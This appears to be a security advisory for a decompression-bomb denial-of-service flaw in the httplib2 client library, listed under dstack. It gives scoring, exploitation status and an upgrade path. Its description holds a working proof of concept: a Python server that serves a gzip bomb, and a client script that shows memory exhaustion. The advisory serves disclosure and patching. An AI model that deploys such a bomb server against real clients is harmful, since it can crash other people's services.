VulnerabilityPublished 13 Aug 2026Updated 31 Oct 2026

CVE-2026-59939: httplib2 · Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling

Affects dstackSource GCVE Database

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Not known to be exploited · CVSS 7.5 High : upgrade to 0.20.27 soon.

Data as of 31 Oct 2026, 16:51 UTC

CVSS 3.1 base score

7.5High

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 0.20.27

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: None
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 13 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 30 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade dstack to 0.20.27.

Affected software

Product	Affected	Fixed in
Homebrewdstack`pkg:brew/dstack`Other threats	Affected >=0.10.2 <0.20.27	Fixed in 0.20.27

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary The `httplib2` HTTP client library performs unbounded decompression of HTTP response bodies encoded with `Content-Encoding: gzip` or `deflate`. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing `MemoryError` or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client. Any application using `httplib2.Http().request()` against untrusted or attacker-controlled HTTP endpoints is affected. ### Details **Affected code:** `httplib2/__init__.py` - `_decompressContent()` function The decompression path has two unbounded operations: 1. **gzip decompression** (line 394): ```python content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read() ``` The `.read()` call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size. 2. **deflate decompression** (line 397): ```python content = zlib.decompress(content, zlib.MAX_WBITS) ``` Similarly, `zlib.decompress()` returns the fully decompressed content as a single bytes object with no size bound. 3. **Automatic invocation** (line 1431): `_decompressContent()` is called automatically on every HTTP response that includes a `Content-Encoding: gzip` or `deflate` header. The full compressed body is already buffered in memory via `response.read()` before decompression begins. **Root cause:** There is no `max_decompressed_size`, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server's compressed payload size. **Attack vector:** Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with: - `Content-Encoding: gzip` header - A small compressed body that decompresses to an arbitrarily large size ### Proof of Concept **Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:** ```python #!/usr/bin/env python3 """Malicious HTTP server that serves a gzip decompression bomb.""" import gzip import http.server import io import socketserver UNCOMPRESSED_SIZE = 150 * 1024 * 1024 # 150 MB def make_payload(): """Create a gzip payload: ~150 KB compressed -> 150 MB decompressed.""" buf = io.BytesIO() with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz: chunk = b"A" * (1024 * 1024) # 1 MB of repeating bytes for _ in range(UNCOMPRESSED_SIZE // len(chunk)): gz.write(chunk) return buf.getvalue() PAYLOAD = make_payload() class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Content-Encoding", "gzip") self.send_header("Content-Length", str(len(PAYLOAD))) self.end_headers() self.wfile.write(PAYLOAD) def log_message(self, fmt, *args): pass with socketserver.TCPServer(("127.0.0.1", 8000), Handler) as httpd: print(f"Bomb server ready: {len(PAYLOAD)} bytes compressed -> " f"{UNCOMPRESSED_SIZE} bytes decompressed") httpd.serve_forever() ``` **Step 2 - Run the httplib2 client (in a separate terminal):** ```python #!/usr/bin/env python3 """Client that demonstrates MemoryError from httplib2 decompression bomb.""" import resource import httplib2 # Set a 180 MB memory limit to make the crash deterministic LIMIT_MB = 180 limit = LIMIT_MB * 1024 * 1024 resource.setrlimit(resource.RLIMIT_AS, (limit, limit)) http = httplib2.Http(timeout=5) try: response, content = http.request("http://127.0.0.1:8000/") print(f"Unexpected success: received {len(content)} bytes") except MemoryError: print(f"MemoryError confirmed: decompression bomb exhausted " f"{LIMIT_MB} MB memory limit") # This is the expected outcome - the 150 KB compressed payload # expanded to 150 MB during decompression, exceeding the limit. ``` **Expected output (client):** ``` MemoryError confirmed: decompression bomb exhausted 180 MB memory limit ``` **Reproduction metrics:** - Compressed payload size: **152,908 bytes** (~150 KB) - Decompressed size: **157,286,400 bytes** (150 MB) - Amplification ratio: **~1,029x** - Client memory limit: 180 MB -> `MemoryError` triggered during `gzip.GzipFile.read()` ### Impact **Severity: High** Any application using `httplib2` to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response. | Parameter | Value | |---|---| | Compressed payload | ~150 KB | | Decompressed size | 150 MB (configurable by attacker) | | Amplification ratio | ~1,029x | | Authentication required | None | |

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